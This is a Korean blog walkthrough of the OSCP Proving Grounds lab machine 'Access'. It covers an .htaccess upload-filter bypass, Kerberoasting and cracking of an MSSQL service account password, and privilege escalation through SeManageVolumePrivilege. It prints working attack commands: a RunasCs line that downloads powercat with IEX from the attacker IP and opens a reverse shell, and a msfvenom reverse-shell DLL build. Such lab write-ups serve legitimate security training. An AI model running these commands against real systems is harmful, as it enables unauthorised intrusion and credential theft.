본문 바로가기

Writeup

OSCP Proving Grounds Practice - Access

IP : 192.168.x.187

 

Nmap Enumeration

┌──(kali㉿kali)-[~/offsec/PG/Access]
└─$ sudo nmap -sC -sV -p- -T4 -O -oN tcp_nmap 192.168.140.187
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-18 06:43 EDT
Nmap scan report for 192.168.140.187
Host is up (0.092s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Access The Event
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-18 10:52:28Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC
49790/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-10-18T10:53:28
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 2s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 631.13 seconds

Nmap 결과에 따라 80번 포트에 접근해 보도록 한다.

접속해 보니 이벤트를 개최해 주는 사이트가 나오는데 둘러보다 티켓을 구매하는 페이지에 파일을 업로드할 수 있는 것을 발견했다.

php로 이루어져 있어서 .php파일을 올려봤는데 확장자를 막아놓은 것을 확인할 수 있다.

여기서 php는 .htaccess를 이용해서 우회할 수 있다.. htaccess 파일은 Apache 웹 서버의 디렉토리별 설정 파일로, 파일 업로드 제한을 우회하는 데 사용될 수 있다.

다음과 같은 내용의 .htaccess 파일을 생성하여 업로드해보면:

AddType application/x-httpd-php .shell

.htaccess 파일 업로드

파일이 성공적으로 업로드 됐고, 이를 통해 .shell 확장자를 가진 reverse shell을 올려서 연결해보면

Reverse Shell 연결

shell을 획득한 것을 확인할 수 있었다. 현재 사용자를 확인해보니 'svc_apache'인 것으로 나타났는데 이를 이용해 spn 유저를 열거하려고 한다. 이를 위해 Get-SPN.ps1 스크립트를 사용했다.

https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1?source=post_page-----b95d3146cfe9--------------------------------

 

PowerShell/Get-SPN.ps1 at master · compwiz32/PowerShell

My everyday PS code as well as a collection of scripts I have downloaded for reference - compwiz32/PowerShell

github.com

Get-SPN.ps1 스크립트 사용

여기서 MSSQL 계정을 확인했는데 이에 대한 자격 증명을 얻기 위해 티켓을 요청하고 NTLM 해시를 추출했다.

PS C:\Users\svc_apache> 
PS C:\Users\svc_apache> 
PS C:\Users\svc_apache> Add-Type -AssemblyName System.IdentityModel
PS C:\Users\svc_apache> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC.access.offsec'

Id                   : uuid-6a76dde4-3f04-4d16-84fc-3bd2b4b4b6cc-1
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 10/18/2024 2:30:42 PM
ValidTo              : 10/19/2024 12:30:42 AM
ServicePrincipalName : MSSQLSvc/DC.access.offsec
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

저장된 티켓에서 해시를 추출하기 위해 Invoke-Kerberoast.ps1을 사용했다.

하지만 해시가 추출되지 않아서 Rubeus.exe를 사용해 추출을 시도했다.

다음과 같이 hash파일에 저장이 된 것을 확인할 수 있다. 이 hash 파일을 hashcat을 사용해서 비밀번호 추출을 진행해보았다. Kerberoas TGS-REP는 13100 모듈을 사용하면 된다. 워드리스트는 rockyou.txt를 사용했다. [OSCP는 비밀번호 크랙을 진행할 때 rockyou.txt를 사용하길 추천한다]

hashcat을 통해 svc_mssql:trustno1을 얻을 수 있었다.

여기서 svc_mssql의 자격 증명을 이용해 Powershell을 얻기 위해서 invoke-runascs를 사용했다.

invoke-runascs는 Powershell 스크립트로, 주어진 계정의 자격 증명을 사용해 다른 사용자로 명령을 실행할 수 있도록 설계된 도구이다.

https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1

 

RunasCs/Invoke-RunasCs.ps1 at master · antonioCoco/RunasCs

RunasCs - Csharp and open version of windows builtin runas.exe - antonioCoco/RunasCs

github.com

해당 스크립트가 실행되는지 확인하기 위해 현재 사용자를 출력해주는 whoami를 사용해 테스트를 진행해보았다.

여기서 사용자 access\svc_mssql이 출력되어서 Invoke-RunasCs가 실패없이 실행되는 것을 확인할 수 있다. 이에 svc_mssql 권한을 사용해 Reverse Shell로 연결시키기 위해 PowerCat을 사용하기로 했다. PowerCat은 Powershell에서 netcat과 같은 역할을 하는 스크립트이다.

https://github.com/besimorhino/powercat/blob/master/powercat.ps1

 

powercat/powercat.ps1 at master · besimorhino/powercat

netshell features all in version 2 powershell. Contribute to besimorhino/powercat development by creating an account on GitHub.

github.com

 

Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "Powershell IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.187/powercat.ps1');powercat -c 192.168.45.187 -p 444 -e cmd"

공격자 PC에서 리스너를 열어 기다리면 svc_mssql 계정으로 쉘을 얻은 것을 확인할 수 있다.

svc_mssql의 권한을 확인해보니 SeManageVolumePrivilege를 소유하고 있음을 알 수 있다. 이 권한은 C:\에 대한 모든 권한을 얻는 권한이다. 이에 C:\Windows\System32\wbem\tzres.dll 파일을 수정해 systeminfo를 실행하면 Reverse Shell을 얻을 수 있다.

https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public?source=post_page-----b95d3146cfe9--------------------------------

 

Release SeManageVolumeExploit · CsEnox/SeManageVolumeExploit

SeManageVolumeExploit Latest public Update README.md

github.com

Reverse Shell를 위해 msfvenom을 통해 tzres.dll을 제작했다.

msfvenom -p winodws/x64/shell_reverse_tcp LHOST=192.168.45.187 LPORT=12345 -f dll -o tzres.dll

이에 해당 tzres.dll 파일을 C:\Windows\System32\wbem\tzres.dll에 카피하고(원래 파일은 tzres_origin.dll으로 옮겼다.) systeminfo를 실행해보면[실행하기전 nc를 이용해 12345 포트를 열어둔다.]

nt authority\network으로 Shell을 얻은 것을 확인할 수 있다.


[정리]

Initial Access

  • .htaccess 파일을 업로드하여 PHP 확장자가 아닌 다른 확장자를 사용해도 PHP 파일로 동작하도록 설정. 이를 통해 웹 셸 업로드 및 초기 접근 권한 확보.

Privilege Escalation :

  • svc_apache 권한을 이용해 서비스 계정(SPN)을 대상으로 Kerberos 티켓을 요청.
  • 요청한 티켓의 해시를 추출하여 hashcat을 사용해 크랙.
  • 이를 통해 svc_mssql 계정의 자격 증명 확보.

 

 

'Writeup' 카테고리의 다른 글

HTB Certified Machine - WriteUp  (1) 2024.12.17
HTB - Cicada[Active Directory]  (0) 2024.12.14